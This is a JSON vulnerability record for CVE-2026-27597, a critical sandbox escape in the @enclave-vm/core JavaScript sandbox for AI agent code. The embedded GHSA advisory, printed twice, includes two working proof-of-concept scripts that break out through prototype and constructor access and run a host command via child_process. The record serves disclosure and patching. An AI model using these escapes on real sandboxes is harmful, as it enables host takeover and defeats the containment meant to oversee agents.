{"id":"CVE-2026-27597","aliases":["EUVD-2026-8617","GHSA-f229-3862-4942"],"status":"published","title":"@enclave-vm/core is vulnerable to Sandbox Escape","description":"Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.","severity":{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.01007,"percentile":0.63498,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-94"],"published":"2026-02-25T03:56:25Z","modified":"2026-10-28T02:30:48Z","exploits":[{"source":"pocgithub","id":"NetVanguard-cmd/CVE-2026-27597","title":"NetVanguard-cmd/CVE-2026-27597","date":"2026-04-19","url":"https://github.com/NetVanguard-cmd/CVE-2026-27597"}],"fixes":[{"ecosystem":"npm","package":"@enclave-vm/core","fixed_in":["2.11.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@enclave-vm/core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.10.1"},{"fixed":"2.11.1"}]}]},{"source":"osv","ecosystem":"npm","package":"@enclave-vm/core","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.11.1"}]}]}],"products":[{"vendor":"agentfront","product":"enclave"}],"references":[{"url":"https://github.com/agentfront/enclave/security/advisories/GHSA-f229-3862-4942","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/agentfront/enclave/commit/09afbebe4cb6d0586c1145aa71ffabd2103932db","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27597","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-f229-3862-4942"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27597.json","tags":["advisory"]},{"url":"https://github.com/agentfront/enclave","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-27597","title":"@enclave-vm/core is vulnerable to Sandbox Escape","description":"Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.","status":"published","published":"2026-02-25T03:56:25.927Z","modified":"2026-02-25T21:13:32.747Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:19:48.826324Z"}],"euvd":[{"id":"EUVD-2026-8617","description":"Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.","status":"published","published":"2026-02-25T03:56:25Z","modified":"2026-02-25T21:13:32Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T19:48:28.012266Z"}],"ghsa":[{"id":"GHSA-f229-3862-4942","title":"@enclave-vm/core is vulnerable to Sandbox Escape","description":"## Summary\n\nIt is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE).\n\nThe issue has been fixed in version **2.11.1**.\n\n---\n\n## Details\n\nIt is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox.\n\nWhen a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor.\n\nWhen this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`).\n\n---\n\n## Proof of Concept\n\n### PoC 1\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"SECURE\",\n  toolHandler: () =\u003e {},\n});\n\nconst result = enclave.run(`\nconst op = {}[[\"__proto__\"]];\nconst ho = op[[\"constructor\"]];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nreturn {\n  res: glob.__host_memory_track__.value[[\"constructor\"]](\"return process\")()\n    .getBuiltinModule(\"child_process\")\n    .execSync(\"id\")\n    .toString()\n    .split(\"\\\\n\"),\n};`);\n\nresult\n  .then((v) =\u003e console.log(\"success\", v))\n  .catch((e) =\u003e console.log(\"failure\", e));\n```\n\n---\n\n### PoC 2\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"STRICT\",\n  toolHandler: () =\u003e {},\n  memoryLimit: 0,\n});\n\nconst result = enclave.run(`\nconst op = {}[['__proto__']];\nconst ho = op[['constructor']];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nconst sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');\n\nlet result;\nconst obj = {\n  [sym]: (depth, option, inspect) =\u003e {\n    result = inspect[['constructor']]\n      [['constructor']]('return process')()\n      .getBuiltinModule('child_process')\n      .execSync('id')\n      .toString();\n  },\n};\n\nglob.__safe_console.value.log(obj);\nreturn { result }\n`);\n\nresult\n  .then((v) =\u003e console.log(\"success\", v))\n  .catch((e) =\u003e console.log(\"failure\", e));\n```\n\n---\n\n## Impact\n\nThis vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.\n\nThis constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**.\n\n---\n\n## Remediation\n\nThe issue has been fixed in **v2.11.0** with the following hardening measures:\n\n* Strengthened intrinsic object isolation\n* Improved console isolation\n* Hardened host callback exposure paths\n* Closed AST validation gaps\n* Added additional defensive checks around constructor access and prototype traversal\n\nAll known escape paths demonstrated in the PoCs are now blocked.\n\nUsers are strongly advised to upgrade to **v2.11.1** or later immediately.\n\n---\n\n## Credit\n\nEnclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.","status":"published","published":"2026-02-25T17:26:23Z","modified":"2026-07-06T15:26:36Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:40:38.48196Z"}],"nvd":[{"id":"CVE-2026-27597","description":"Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.","status":"published","published":"2026-02-25T04:16:03.557Z","modified":"2026-06-17T10:27:21.953Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:07.027269Z"}],"osv":[{"id":"CVE-2026-27597","title":"@enclave-vm/core is vulnerable to Sandbox Escape","description":"Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.","status":"published","published":"2026-02-25T03:56:25.927Z","modified":"2026-10-28T02:30:48.379196257Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:00.180685Z"},{"id":"GHSA-f229-3862-4942","title":"@enclave-vm/core is vulnerable to Sandbox Escape","description":"## Summary\n\nIt is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE).\n\nThe issue has been fixed in version **2.11.1**.\n\n---\n\n## Details\n\nIt is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox.\n\nWhen a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor.\n\nWhen this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`).\n\n---\n\n## Proof of Concept\n\n### PoC 1\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"SECURE\",\n  toolHandler: () =\u003e {},\n});\n\nconst result = enclave.run(`\nconst op = {}[[\"__proto__\"]];\nconst ho = op[[\"constructor\"]];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nreturn {\n  res: glob.__host_memory_track__.value[[\"constructor\"]](\"return process\")()\n    .getBuiltinModule(\"child_process\")\n    .execSync(\"id\")\n    .toString()\n    .split(\"\\\\n\"),\n};`);\n\nresult\n  .then((v) =\u003e console.log(\"success\", v))\n  .catch((e) =\u003e console.log(\"failure\", e));\n```\n\n---\n\n### PoC 2\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"STRICT\",\n  toolHandler: () =\u003e {},\n  memoryLimit: 0,\n});\n\nconst result = enclave.run(`\nconst op = {}[['__proto__']];\nconst ho = op[['constructor']];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nconst sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');\n\nlet result;\nconst obj = {\n  [sym]: (depth, option, inspect) =\u003e {\n    result = inspect[['constructor']]\n      [['constructor']]('return process')()\n      .getBuiltinModule('child_process')\n      .execSync('id')\n      .toString();\n  },\n};\n\nglob.__safe_console.value.log(obj);\nreturn { result }\n`);\n\nresult\n  .then((v) =\u003e console.log(\"success\", v))\n  .catch((e) =\u003e console.log(\"failure\", e));\n```\n\n---\n\n## Impact\n\nThis vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.\n\nThis constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**.\n\n---\n\n## Remediation\n\nThe issue has been fixed in **v2.11.0** with the following hardening measures:\n\n* Strengthened intrinsic object isolation\n* Improved console isolation\n* Hardened host callback exposure paths\n* Closed AST validation gaps\n* Added additional defensive checks around constructor access and prototype traversal\n\nAll known escape paths demonstrated in the PoCs are now blocked.\n\nUsers are strongly advised to upgrade to **v2.11.1** or later immediately.\n\n---\n\n## Credit\n\nEnclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.","status":"published","published":"2026-02-25T17:26:23Z","modified":"2026-09-10T03:50:34.76258837Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:45.639885Z"}]}}